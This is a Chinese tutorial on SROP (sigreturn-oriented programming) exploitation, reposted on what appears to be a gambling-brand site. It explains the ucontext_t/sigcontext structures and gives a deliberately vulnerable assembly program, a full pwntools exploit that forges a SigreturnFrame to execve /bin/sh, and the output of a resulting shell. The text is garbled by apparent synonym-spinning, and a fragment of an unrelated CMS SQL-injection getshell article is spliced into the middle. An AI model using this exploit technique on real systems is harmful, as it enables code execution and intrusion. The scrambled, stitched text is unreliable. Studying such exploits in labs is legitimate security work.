SROP exploit | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

SROP exploit

申博_安全工具 申博 86次浏览 未收录 0个评论

传统的ROP手艺,尤其是amd64上的ROP,须要寻觅大批的gadgets以对寄存器举行赋值,实行特定操纵,若是没有适宜的gadgets就须要举行种种新鲜的组装。这一历程障碍了ROP手艺的运用。而SROP手艺的提出大大简化了ROP进击的流程

道理

SROP(Sigreturn Oriented Programming)手艺应用了类Unix体系中的Signal机制,如图:

SROP exploit

  1. 当一个用户层历程提议signal时,掌握权切到内核层
  2. 内核生存历程的上下文(对我们来讲主要的就是寄存器状况)到用户的栈上,然后再把rt_sigreturn地点压栈,跳到用户层实行Signal Handler,即挪用rt_sigreturn
  3. rt_sigreturn实行完,跳到内核层
  4. 内核规复②中生存的历程上下文,掌握权交给用户层历程

重点:内核规复②中生存的历程上下文,掌握权交给用户层历程

ucontext_t组织体

这里我只写64位的,32位的也差不多。

生存的就是ucontext_t组织体,一个很长的组织体:

// defined in /usr/include/sys/ucontext.h
/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int uc_flags;
    struct ucontext_t *uc_link;
    stack_t uc_stack;           // the stack used by this context
    mcontext_t uc_mcontext;     // the saved context
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
  } ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack.  */
typedef struct
  {
    void *ss_sp;
    size_t ss_size;
    int ss_flags;
  } stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

然则,实际上我们只须要存眷这些寄存器就好了:

__uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;

SROP道理

应用rt_sigreturn规复ucontext_t的机制,我们能够组织一个假的ucontext_t,如许我们就可以掌握一切的寄存器。

某CMS组合破绽至Getshell

前言 首先这个文件上传的漏洞点只能上传压缩包,因此并不能直接getshell。 这里的组合原理是通过sql注入漏洞拿到数据库中存放的压缩包信息,然后利用压缩包信息去构造payload触发解压缩操作,最终实现getshell。 审计的cms名为5iSNS内容付费系统,代码规模并不大,但是漏洞点比较有趣,故分享此文。 源码的下载地址:http://down.chinaz.com/soft/39377.htm 源码的官网地址:http://www.imzaker.com/ 1. sql注入漏洞 其实乍一看他的数据库连接函数,都带有pdo的字样,但是跟进去具体瞧一瞧才发现其实还是用了很多的原生处理,如转义等操作,并没有完全做到预编译。 最初的入口漏洞代码位于5isns/basephp/func/db.func.php第241行 function db_find_one($table, $cond = array(), $orderby = array(), $col = array(), $d = NULL) {
$db = $_SERVER[‘db’];

// 高效写法,定参有利于编译器优化
$d = $d ? $d : $db;
if(!$d) return FALSE;

return $d->find_one($table, $cond, $orderby, $col);
}
这里对应的其实就是最简单的select功能,这里需要重点关注$cond这个参数,这其实就是我们用户传入的键值对。跟进到find_one函数中去,代码位于5isns/baseph

对了组织体的构建,pwntools内里已经有现成的库函数

运用以下类似于下面如许

# 指定机械的运转形式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0

exploit思绪

  1. 掌握顺序流
  2. 组织ROP链挪用rt_sigreturn
  3. 能掌握栈的结构

举个例子

我用下面这个代码演示一遍:

// compiled: 
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop

char global_buf[0x200];

int main()
{
    asm(// 读取最多 200 字节
        "mov $0, %%rax\n" // sys_read

        "mov $0, %%rdi\n" // fd
        "lea %0, %%rsi\n" // buf
        "mov $0x200, %%rdx\n" // count

        "syscall\n"
        // 读取字节数小于 ucontext_t组织体则直接 exit
        "cmp $0xf8, %%rax\n"
        "jb exit\n"

        // 举行规复上下文
        "mov $0, %%rdi\n"
        "mov %%rsi, %%rsp\n"
        "mov $15, %%rax\n" // sys_rt_sigaction

        "syscall\n"
        "jmp exit\n"

        /* split */
        "nop\n"
        "nop\n"

        // syscall 的 symbol,便于查找
        "syscall:\n"
        "syscall\n" 
        "jmp exit\n"

        // 退出顺序
        "exit:\n"
        "mov $60, %%rax\n"
        "mov $0, %%rsi\n"
        "syscall\n"         
        :
        : "m" (global_buf)
        : 
        );
}

注重:为了包管代码没有依靠,须要封闭栈珍爱。

顺序很简单,就是读取你的输入,然后若是巨细大于ucontext_t组织体的巨细的话,就直接实行rt_sigreturn挪用。

平安防护

ex@Ex:~/test$ checksec srop
[*] '/home/ex/test/srop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exp剧本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.arch = "amd64"
# context.log_level = "debug"
elf = ELF('./srop')
sh = process('./srop')

# 天生调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

str_bin_sh_offset = 0x100

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']

# pause()

sh.send(str(frame).ljust(str_bin_sh_offset, 'a') + '/bin/sh\x00')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运转实例

ex@Ex:~/test$ python2 exp.py 
[*] '/home/ex/test/srop'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './srop': pid 1693
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$

总结

一个比较难组织的要领,合适和其他破绽组合起来拿shell。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明SROP exploit
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址